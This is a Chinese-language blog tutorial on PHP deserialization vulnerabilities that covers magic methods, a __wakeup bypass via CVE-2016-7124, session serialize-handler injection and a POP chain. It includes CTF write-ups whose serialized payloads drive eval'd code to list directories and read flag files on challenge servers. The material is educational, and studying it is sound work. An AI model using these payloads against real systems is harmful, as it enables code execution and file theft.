AMao
小菜鸡目前对一些东西的认知,希望师傅们可以帮忙纠正!

PHP反序列化详解

2020-07-17 CTF Web安全 PHP
Word count: 6.9k | Reading time: 29min

基本概念

POP 面向属性编程(Property-Oriented Programing)

常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。

在二进制利用时,ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,而 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,当然进行反序列化的数据能够被用户输入所控制。

  • 类成员包括由属性和方法构成,类属性存在于数据段,类方法存在于代码段,对于一个类来说,类的方法不占用类的空间,占空间的只有类的属性

序列化

所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示

  • 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
  • 成员变量若是 private 属性,它会在两侧加入空字节 ,长度 +2
  • 如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。 如果要想在另外一个文件中解序列化一个对象,这个对象的类必须在解序列化之前定义,可以通过包含一个定义该类的文件或使用函数spl_autoload_register()来实现。

反序列化

为了能够unserialize()一个对象,这个对象的类必须已经定义过

  • 反序列化可以控制类属性,无论是private还是public
  • 发序列化的危害

    序列化操作只是保存对象(不是类)的变量,不保存对象的方法,因此其实反序列化的主要危害在于我们可以控制对象的变量来改变程序执行流程从而达到我们最终的目的

  • 序列化机制的作用

    在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。

    如果一个脚本中想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容释放掉了,我们要如何操作呢?难道要前一个脚本不断的循环,等待后面脚本的调用?这肯定是不现实的。

    serialize和unserialize就是解决这一问题的存在,serialize可以将变量转换为字符串,并且在转换中可以保存当前变量的值;而unserialize则可以将serialize生成的字符串变换回变量。

  • 序列化示例

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <?php
    class User
    {
    public $name='';
    public $age=0;
    public function printData()
    {
    echo "$this->name is $this->age old!";
    }
    }

    $user = new User();
    $user->name = 'Jhon';
    $user->age = 20;
    echo serialize($user);
    $userString = 'O:4:"User":2:{s:4:"name";s:4:"Jhon";s:3:"age";i:20;}';
    $userObject = unserialize($userString);
    $userObject->printData();
    ?>
    • 第一个 echo 输出 O:4:"User":2:{s:4:"name";s:4:"Jhon";s:3:"age";i:20;}

      • O:4:”User”:2:{s:3:”age”;i:20;s:4:”name”;s:4:”John”;} 就是对象user序列化之后的形式
      • O表示是对象,4 表示 对象名长度为4,user为对象名
      • 2表示有两个参数,{} 里面是参数的key和value
      • S 表示是string对象,3 表示长度,age是key
      • i 表示是integer对象,20是value
      a array 数组
      b boolean布尔型
      d double双精度型
      i integer
      o common object一般对象
      r reference
      s string
      C custom object 自定义对象
      O class
      N null

魔术方法

系统自带的方法名,均以双下划线开头 ,在特定的情况下会被调用

我们无法控制对象的方法来调用,因此我们这里只能去找一些可以自动调用的一些魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
__construct() 	 //构造函数
__destruct() //对象被销毁时触发,析构函数
__wakeup() //unserialize() 恢复对象时
__sleep() //使用serialize时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
  • __sleep()

    serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。

    如果存在,该方法会先被调用,然后才执行序列化操作。

    此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。

    如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。

    对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。

  • __wakeup()

    unserialize() 会检查是否存在一个 __wakeup() 方法。

    如果存在,则会先调用 __wakeup() 方法,预先准备对象需要的资源

    预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

    • 代码示例

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      <?php 
      class Caiji{
      public function __construct($ID, $sex, $age){
      $this->ID = $ID;
      $this->sex = $sex;
      $this->age = $age;
      $this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
      }

      public function getInfo(){
      echo $this->info . '<br>';
      }
      /**
      * serialize前调用 用于删选需要被序列化存储的成员变量
      * @return array [description]
      */
      public function __sleep(){
      echo __METHOD__ . '<br>';
      return ['ID', 'sex', 'age'];
      }
      /**
      * unserialize前调用 用于预先准备对象资源
      */
      public function __wakeup(){
      echo __METHOD__ . '<br>';
      $this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
      }
      }

      $me = new Caiji('twosmi1e', 20, 'male');

      $me->getInfo();
      //存在__sleep()函数,$info属性不会被存储
      $temp = serialize($me);
      echo $temp . '<br>';

      $me = unserialize($temp);
      //__wakeup()组装的$info
      $me->getInfo();
      ?>
    • 运行结果

      1
      2
      3
      4
      5
      ID: twosmi1e, age: 20, sex: male
      Caiji::__sleep
      O:5:"Caiji":3:{s:2:"ID";s:8:"twosmi1e";s:3:"sex";i:20;s:3:"age";s:4:"male";}
      Caiji::__wakeup
      ID: twosmi1e, age: 20, sex: male
  • __toString()

    把类当作字符串使用时触发

    echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

    • 示例代码

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      <?php 
      class Caiji{
      public function __construct($ID, $sex, $age){
      $this->ID = $ID;
      $this->sex = $sex;
      $this->age = $age;
      $this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
      }

      public function __toString(){
      return $this->info;
      }
      }

      $me = new Caiji('twosmi1e', 20, 'male');
      echo '__toString:' . $me . '<br>';
      ?>
    • 运行结果

      __toString:ID: twosmi1e, age: 20, sex: male

      如果不编写 __toString() 函数,则报错:Catchable fatal error: Object of class Caiji could not be converted to string

反序列化对象注入

绕过 __wakeup() 方法

在 PHP 5.3.29 实验成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString()
{
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']); //base64 解码
echo unserialize($file);
}
?> #<!--key in flag.php-->
  • 分析一下源码,__destruct 方法中 show_source(dirname (__FILE__).'/'.$this ->file); 会读取file文件内容,我们需要利用这里来读flag.php,思路大概就是构造序列化对象然后base64编码传入,经过unserialize将file设为flag.php,但是__wakeup会在unserialize之前执行,所以要绕过这一点。

  • CVE-2016-7124

    当序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过 __wakeup() 的执行

  • 构造 payload

    • 构造序列化对象
      O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag.php";}

    • 绕过 __wakeup()
      O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}

    • TIPS

      注意:因为file是protect属性,所以需要加上 \00*\00

    • base64 编码

      payload:Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

session 反序列化漏洞

PHP session

  • 简介

    PHP session可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是, PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie的主要区别,所以 seesion 的安全性相对较高。

    PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化

PHP Session 工作流程

  • 当开始一个会话时,PHP 会尝试从请求中查找会话 ID (通常通过会话 cookie ),如果发现请求的 CookiesGetPos t中不存在 session id ,PHP 就会自动调用 php_session_create_id 函数创建一个新的会话,并且在 http response 中通过 set-cookie 头部发送给客户端保存

  • 有时候浏览器用户设置会禁止 cookie ,当在客户端 cookie 被禁用的情况下,php也可以自动将 session id 添加到url参数中以及 formhidden字段中,但这需要将 php.ini 中的 session.use_trans_sid 设为开启,也可以在运行时调用 ini_set 来设置这个配置项

  • 会话开始之后,PHP 就会将会话中的数据设置到 $_SESSION 变量中

    在session 变量中注册变量:

    1
    2
    3
    4
    5
    6
    7
    <?php
    session_start();
    if (!isset($_SESSION['username']))
    {
    $_SESSION['username'] = 'xianzhi' ;
    }
    ?>
  • 当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行 序列化 , 然后发送给会话保存管理器来进行保存

  • 默认情况下,PHP 使用内置的文件会话保存管理器来完成 session 的保存,也可以通过配置项 session.save_handler 来修改所要采用的会话保存管理器。 对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。

  • php.ini 中的配置,可以在 phpinfo.php 中查看

    • session.save_path

      设置session的存储路径

    • session.save_handler

      设定用户自定义存储函数,若想使用PHP内置 session 存储机制之外的可以使用这个函数

    • session.auto_start

      指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动

    • session.serialize_handler

      定义用来序列化/反序列化的处理器名字,默认使用php

      • 除了默认的session序列化引擎php外,还有几种引擎,不同引擎存储方式不同

        • php_binary

          键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值

        • php

          键名+竖线+经过serialize()函数反序列处理的值

        • php_serialize

          serialize()函数反序列处理数组

    • session.gc_divisor

      php session垃圾回收机制相关配置

    • session.sid_bits_per_character

      指定编码的会话ID字符中的位数

    • session.use_strict_mode

      严格会话模式,严格会话模式不接受未初始化的会话ID并重新生成会话ID

    • session.use_cookies

      指定是否在客户端用 cookie 来存放会话 ID,默认启用

    • session.cookie_secure

      指定是否仅通过安全连接发送 cookie ,默认关闭

    • session.use_only_cookies

      指定是否在客户端 仅仅 使用 cookie 来存放会话 ID,启用的话,可以防止有关通过 URL 传递会话 ID 的攻击

    • session.name

      指定会话名以用做 cookie 的名字,只能由字母数字组成,默认为 PHPSESSID

    • session.cookie_lifetime

      指定了发送到浏览器的 cookie 的生命周期,单位为秒,值为 0 表示“直到关闭浏览器”。默认为 0

    • session.cookie_path

      指定要设置会话 cookie 的路径,默认为 /

    • session.cookie_domain

      指定要设置会话 cookie 的域名,默认为无,表示根据 cookie 规范产生 cookie 的主机名

    • session.cookie_httponly

      将Cookie标记为只能通过HTTP协议访问,即无法通过脚本语言(例如JavaScript)访问Cookie,此设置可以有效地帮助通过XSS攻击减少身份盗用

    • session.gc_probability

      该配置项与 session.gc_divisor 合起来用来管理 garbage collection ,即垃圾回收进程启动的概率

    • session.gc_divisor

      该配置项与 session.gc_probability 合起来定义了在每个会话初始化时启动垃圾回收进程的概率

    • session.gc_maxlifetime

      指定过了多少秒之后数据就会被视为“垃圾”并被清除,垃圾搜集可能会在 session 启动的时候开始( 取决于 session.gc_probabilitysession.gc_divisor

    • session.referer_check

      包含有用来检查每个 HTTP Referer的子串。如果客户端发送了 Referer 信息但是在其中并未找到该子串,则嵌入的会话 ID 会被标记为无效。默认为空字符串

    • session.cache_limiter

      指定会话页面所使用的缓冲控制方法( none/nocache/private/private_no_expire/public )。默认为 nocache

    • session.cache_expire

      以分钟数指定缓冲的会话页面的存活期,此设定对 nocache 缓冲控制方法无效。默认为 180

    • session.use_trans_sid

      指定是否启用透明 SID 支持。默认禁用

    • session.sid_length

      配置会话ID字符串的长度。 会话ID的长度可以在22到256之间。默认值为32。

    • session.trans_sid_tags

      指定启用透明sid支持时重写哪些HTML标签以包括会话ID

    • session.trans_sid_hosts

      指定启用透明sid支持时重写的主机,以包括会话ID

    • session.sid_bits_per_character

      配置编码的会话ID字符中的位数

    • session.upload_progress.enabled

      启用上传进度跟踪,并填充 $ _SESSION 变量, 默认启用。

    • session.upload_progress.cleanup

      读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用

    • session.upload_progress.prefix

      配置 $ _SESSION 中用于上传进度键的前缀,默认为 upload_progress_

    • session.upload_progress.name

      $ _SESSION 中用于存储进度信息的键的名称,默认为 PHP_SESSION_UPLOAD_PROGRESS

    • session.upload_progress.freq

      定义应该多长时间更新一次上传进度信息

    • session.upload_progress.min_freq

      更新之间的最小延迟

    • session.lazy_write

      配置会话数据在更改时是否被重写,默认启用

      以上配置项涉及到的安全比较多,如会话劫持、XSS、CSRF 等

  • 存储机制

    php中的 session 内容 默认是以文件方式来存储的,由 session.save_handler 来决定。文件名由sess_sessionid命名,文件内容则为session序列化后的值。

    1
    2
    3
    4
    5
    6
    <?php
    ini_set('session.serialize_handler','php_serialize');
    session_start();

    $_SESSION['name'] = 'twosmi1e';
    ?>

    在文件配置中 session.save_path 路径下会生成对应的 session 文件

    • php_serialize

      经过serialize()函数序列化处理的 数组

      a:1:{s:4:"name";s:8:"twosmi1e";}

    • php

      键名 + 竖线 + 经过 serialize() 函数序列化处理的值

      name|s:8:"twosmi1e";

    • php_binary

      键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值

      names:8:"twosmi1e";

    注:自 PHP 5.5.4 起可以使用 php_serialize

    上述三种处理器中, php_serialize在内部简单地直接使用 serialize/unserialize函数,并且不会有 phpphp_binary所具有的限制。

    使用较旧的序列化处理器导致 $_SESSION 的索引既不能是数字也不能包含特殊字符( | ! )

    三种处理器的存储格式差异,就会造成在session序列化和反序列化处理器设置不当时的安全隐患

利用

由乌云白帽子 ryat 师傅于 2015-12-12 在 php官网上提出来,乌云编号:71101

1
<form action =“ upload.php” method =“ POST” enctype =“ multipart / form-data”>    <input type =“ hidden” name =“ PHP_SESSION_UPLOAD_PROGRESS” value =“ ryat” />    <input type =“ file” name =“ file” />    <input type =“ submit” /></ form>

$_SESSION 中的键值就会为 $_SESSION["upload_progress_ryat"] ,在会话上传过程中,将对会话数据进行序列化/反序列化,序列化格式由 php.ini 中的 session.serialize_handler 选项设置。 这意味着,如果在脚本中设置了不同的 serialize_handler ,那么可以导致注入任意 session 数据。

形成的原理就是在用 session.serialize_handler = php_serialize 存储的字符可以引入 | , 再用 session.serialize_handler = php 格式取出 $_SESSION 的值时, | 会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞

  • 简单示例

    • session.php 文件

      1
      2
      3
      4
      5
      6
      <?php
      error_reporting(0);
      ini_set('session.serialize_handler','php_serialize');
      session_start();
      $_SESSION['session'] = $_GET['session'];
      ?>
    • session 的初始内容

      a:1:{s:7:"session";s:5:"hello";}

    • class.php 文件

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      <?php    
      error_reporting(0);
      ini_set('session.serialize_handler','php');
      session_start();
      class XianZhi
      {
      public $name = 'panda';
      function __wakeup()
      {
      echo "Who are you?";
      }
      function __destruct()
      {
      echo '<br>'.$this->name;
      }
      }
      $str = new XianZhi();
      ?>
      • 访问页面显示:panda
    • 两个文件的作用

      session.php 文件的处理器是 php_serializeclass.php 文件的处理器是 phpsession.php 文件的作用是传入可控的 session值, class.php 文件的作用是在反序列化开始前输出 Who are you? ,反序列化结束的时候输出 name

    • 利用

      要在 session.php 文件传入 | + 序列化 格式的值,然后再次访问 class.php 文件的时候,就会在调用 session 值的时候,触发此 BUG

    • 生成序列化字符串

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      <?php  
      class XianZhi
      {
      public $name;
      function __wakeup()
      {
      echo "Who are you?";
      }
      function __destruct()
      {
      echo '<br>'.$this->name;
      }
      }
      $str = new XianZhi();
      $str->name = "xianzhi";
      echo serialize($str);
      ?>

      序列化字符串:O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}

      payload:|O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}

    • 用payload 访问 session.php ,生成session

      a:1:{s:7:"session";s:44:"|O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}";}

    • 访问 class.php,触发漏洞

      1
      2
      3
      Who are you?
      panda
      xianzhi

      说明构造传入的字符串被反序列化成 XianZhi 对象

Jarvisoj PHPINFO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('sessiontest.php'));
}
?>
  • 题目采用 php 5.6.21(查看phpinfo.php),PHP版本大于5.5.4,默认使用 php_serialize

  • 默认为php_serialize而index.php中又使用了php,反序列化和序列化使用的处理器不同,由于格式的原因会导致数据无法正确反序列化,那么就可以通过构造伪造任意数据。

  • session.upload_progress.enabled 为On

  • PHP手册

    Session 上传进度
    当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
    当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name 同名变量时,上传进度可以在 $_SESSION 中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。

    通常这些键值可以通过读取INI设置来获得 ,如:

    1
    2
    3
    4
    <?php
    $key = ini_get("session.upload_progress.prefix") . ini_get("session.upload_progress.name");
    var_dump($_SESSION[$key]);
    ?>
    • 上传进度数组的结构

      1
      2
      3
      4
      5
      6
      <form action="upload.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
      <input type="file" name="file1" />
      <input type="file" name="file2" />
      <input type="submit" />
      </form>

    当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来构造数据写入 session

  • 在题目代码中,没有某个值是用来接受我们传入的数据,并储存到$_SESSION中的。

    其实我们是有办法传入$_SESSION 数据的,这里就利用到了|的反序列化问题

  • 构造POST提交表单

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <!DOCTYPE html>
    <html>
    <head>
    <title>test XXE</title>
    <meta charset="utf-8">
    </head>
    <body>
    <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><!--不对字符编码-->
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="go" />
    </form>
    </body>
    </html>
    • TIPS: 注意enctype属性

      • multipart/form-data

        不对字符编码,在使用包含文件上传控件表单时,必须使用该值

      • application/x-www-form-urlencoded

        在发送前编码所有字符(默认)

      • text/plain

        空格转换为 + ,但不对特殊字符编码

  • 构造序列化字符串

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    class OowoO
    {
    public $mdzz='print_r(dirname(__FILE__));';
    }
    $obj = new OowoO();
    $a = serialize($obj);

    var_dump($a);

    注意需要转义,抓包吧filename改为payload
    最终提交为:|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}

  • 查看当前目录

  • 目录扫描

    |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

  • 读取flag,这里需要注意转义

    |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

    flag:$flag="CTF{4d96e37f4be998c50aa586de4ada354a}";

安洵杯 Double-s

但是这道题好像不需要用到 session 反序列化,有可控变量直接反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Anti
{
public $info;
function __construct()
{
$this->info = 'phpinfo();';
}
function __destruct()
{
eval($this->info);
}
}
if(isset($_GET['aa']))
{
if(unserialize($_GET['aa'])=='phpinfo')
{
$m = new Anti();
}
}
else
{
header("location:index.html");
}
?>

payload:

http://54.200.169.99:7000/session.php?aa=O:4:"Anti":1:{s:4:"info";s:36:"print_r(scandir(dirname(__FILE__)));";}

POP链构造

基本概念

POP,面向属性编程(Property-Oriented Programing) 用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链来执行一些操作。

在二进制利用时,ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,而 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。
二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,前提:进行反序列化的数据能够被用户输入所控制。

POP链利用思路

一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。

实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>

需要构造POP链, 执行GetFlag类中的get_flag()函数

  • string1 中的 __tostring 存在 $this->str1->get_flag(),分析一下要自动调用 __tostring() 需要把类string1当成字符串来使用,因为调用的是参数 str1 的方法,所以需要把str1赋值为类GetFlag的对象。

  • 发现类func 中存在__invoke方法执行了字符串拼接,所以把 mod1 赋值为 string1 类的对象便可以触发 __toString() ,需要把func对象当成函数使用,才回自动调用__invoke

  • funct 中找到了函数调用(mod1 ),需要把 mod1 赋值为func 类的对象,又因为函数调用在__call方法中,且参数为$test2 ,即无法调用 test2方法时自动调用 __call方法;

  • Call中的test1方法中存在$this->mod1->test2();,需要把$mod1赋值为funct的对象,让__call自动调用。

  • 查找test1方法的调用点,在start_gg中发现$this->mod1->test1();,把 $mod1赋值为 Call 类的对象,等待__destruct()自动调用。

  • payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    <?php
    class start_gg
    {
    public $mod1;
    public $mod2;
    public function __construct()
    {
    $this->mod1 = new Call();//把$mod1赋值为Call类对象
    }
    public function __destruct()
    {
    $this->mod1->test1();
    }
    }
    class Call
    {
    public $mod1;
    public $mod2;
    public function __construct()
    {
    $this->mod1 = new funct();//把 $mod1赋值为funct类对象
    }
    public function test1()
    {
    $this->mod1->test2();
    }
    }

    class funct
    {
    public $mod1;
    public $mod2;
    public function __construct()
    {
    $this->mod1= new func();//把 $mod1赋值为func类对象

    }
    public function __call($test2,$arr)
    {
    $s1 = $this->mod1;
    $s1();
    }
    }
    class func
    {
    public $mod1;
    public $mod2;
    public function __construct()
    {
    $this->mod1= new string1();//把 $mod1赋值为string1类对象

    }
    public function __invoke()
    {
    $this->mod2 = "字符串拼接".$this->mod1;
    }
    }
    class string1
    {
    public $str1;
    public function __construct()
    {
    $this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象
    }
    public function __toString()
    {
    $this->str1->get_flag();
    return "1";
    }
    }
    class GetFlag
    {
    public function get_flag()
    {
    echo "flag:"."xxxxxxxxxxxx";
    }
    }
    $b = new start_gg;//构造start_gg类对象$b
    echo urlencode(serialize($b))."<br />";//显示输出url编码后的序列化对象

参考

Blog:0x01 0x02 0x03

扩展题目:0x01 0x02

声明

  1. 博主初衷为分享网络安全知识,请勿利用技术做出任何危害网络安全的行为,否则后果自负,与本人无关!
  2. 部分学习内容来自网络,回馈网络,如涉及版权问题,请联系删除 orz
< PreviousPost
Web渗透测试之信息收集详细指南
NextPost >
Linux 快速入门
CATALOG
  1. 1. 基本概念
    1. 1.1. POP 面向属性编程(Property-Oriented Programing)
    2. 1.2. 序列化
    3. 1.3. 反序列化
    4. 1.4. 魔术方法
  2. 2. 反序列化对象注入
    1. 2.1. 绕过 __wakeup() 方法
  3. 3. session 反序列化漏洞
    1. 3.1. PHP session
    2. 3.2. PHP Session 工作流程
    3. 3.3. 利用
      1. 3.3.1. 由乌云白帽子 ryat 师傅于 2015-12-12 在 php官网上提出来,乌云编号:71101
    4. 3.4. 2019极客巅峰 lol link
    5. 3.5. Jarvisoj PHPINFO
      1. 3.5.1. 安洵杯 Double-s
    6. 3.6. POP链构造
      1. 3.6.1. 基本概念
      2. 3.6.2. POP链利用思路
      3. 3.6.3. 实例
  4. 4. 参考
    1. 4.1. 声明